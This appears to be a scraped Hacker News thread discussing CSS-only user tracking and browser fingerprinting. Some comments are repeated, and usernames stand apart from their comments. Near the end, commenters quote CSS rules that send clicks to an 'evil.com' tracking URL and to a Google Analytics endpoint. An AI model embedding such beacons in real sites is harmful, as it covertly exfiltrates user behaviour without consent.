This article seems to have a threat model where a website is “compromised” into sending user data to a third party, but I don’t really see anything that protects users from a website whose owner actively wants to track them. This is an odd threat model to have.
Also, as an aside:
> For example, by detecting whether the browser supports the Calibri font family, we can assume that the browser is running in Windows
I’m pretty sure that Safari has stopped allowing the use of third party fonts for exactly this reason, and now reports a standard set of fonts as being available.
You can't assume that only the origin will be serving css. Most pages these days contain resources from all over the web, and most developers assume that CSS is safe to load from anywhere. What's not clear to me is whether 'evil' in content: url("https://evil.com/track?action=link_clicked" can point to anywhere on the web? Or just the origin of the css? Or...?
That’s bad for mobile - especially if a website has really large images for high-DPI devices. I think you can configure some mobile browsers to always download low-DPI assets to save on bandwidth.
By linked I hope that you mean things like images and CSS style-sheets rather than actual <a> links. If so, I totally agree with you, this kind of lazy loading that css utilises is a true privacy nightmare.
And if you are using anything but Firefox you shouldn't worry about your browser history anyway. Due to fingerprintning you give all of your browsing history to Google regardless.
saagarjha|7 years ago
Also, as an aside:
> For example, by detecting whether the browser supports the Calibri font family, we can assume that the browser is running in Windows
I’m pretty sure that Safari has stopped allowing the use of third party fonts for exactly this reason, and now reports a standard set of fonts as being available.
javajosh|7 years ago
wongarsu|7 years ago
One big selling point for CSS was to separate layout and content exactly to allow other people to write CSS.
rebuilder|7 years ago
Tepix|7 years ago
DaiPlusPlus|7 years ago
AnaniasAnanas|7 years ago
jwilk|7 years ago
https://news.ycombinator.com/item?id=16157773
unknown|7 years ago
[deleted]
fawelo123|7 years ago
fawelo123|7 years ago
interfixus|7 years ago
scegit|7 years ago
input[type="button"]:active { background-image: url('http://www.google-analytics.com/collect?v=1&_v=j23&a=...'); }
https://www.smashingmagazine.com/2014/10/css-only-solution-f...